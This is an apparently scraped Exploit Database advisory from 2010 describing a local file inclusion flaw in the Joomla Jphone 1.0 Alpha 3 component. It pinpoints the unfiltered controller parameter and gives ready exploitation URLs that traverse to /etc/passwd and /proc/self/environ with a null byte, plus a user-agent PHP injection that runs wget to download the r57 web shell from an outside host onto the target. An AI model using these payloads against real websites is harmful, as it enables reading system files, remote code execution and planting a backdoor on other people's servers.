Joomla! Component Jphone 1.0 Alpha 3 – Local File Inclusion

• Exploit Database
• 124 阅读

• 作者： Chip d3 bi0s
  日期： 2010-09-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14964/
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  JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion =========================================================================================   - Discovered by : Chip D3 Bi0s - Email : chipdebios[at]gmail[dot]com - Group : LatinHackTeam - Date: 2010-09-10 - Where : From Remote   ------------------------------------------------------------------------------------- Affected software description   Application : Jphone Developer : Urs Kobald Compatibility : 1.0 Alpha 3 License : GPLv2 or later Date Added: 14 Aug 2010 website : http://www.4you-studio.com Download: http://www.joomlafrance.org/telecharger/download/Jphone/344bbad81cf491b6e5215e3f15fc3fb7.html   I. BACKGROUND   Called Jphone, component agency 4you studio allows for your Joomla adapted mobile version with a real interface using page transition effects rather pro (the cube effect and popup are very nice).   Consisting of a component and a plugin for Joomla, it is after activating the plugin define a menu (the menu management of Joomla). This is to link the specific component to display your content. Currently seen by the articles, categories, sections are set but also those contacts and links Web (Two native Joomla components). The installation procedure is shown in the download package.   In addition, the proposed version is an alpha version (therefore usable only for testing purposes) but resulted entirely in French. Feel free to share your opinion on the forum. Support for Android and PalmPre should be functional (not tested)   II. DESCRIPTION   Some Local File inclusion vulnerabilities exist in Component Joomla Jphone 1.0 Alpha 3.       III. ANALYSIS   The bug is in the following files, specifying the lines   /components/com_jphone/jphone.php       [63] if($controller = JRequest::getVar(&apos;controller&apos;)) { [64] [65] require_once (JPATH_COMPONENT.DS.&apos;controllers&apos;.DS.$controller.&apos;.php&apos;);   Explanation:As noted in the line [65] $controller nowhere is filtered, which result is lfi as is known to pass &apos;.php&apos; use %00 :)     IV. EXPLOITATION   http://site/path/index.php?option=com_jphone&controller={LFI} {LFI}=../../../../../../../../../../etc/passwd%00 {LFI}=../../../../../../../../../../proc/self/environ%00   changing the user agent for something so: <?system(&apos;wget http://chipdebios.com/r57.txt -O r57.php&apos;);?>   A special greeting to my good friends: F3l0m4n, R4y0k3nt, ecore, J3h3s, r0i & pc Marquesita :)       +++++++++++++++++++++++++++++++++++++++ [!] Produced in South America +++++++++++++++++++++++++++++++++++++++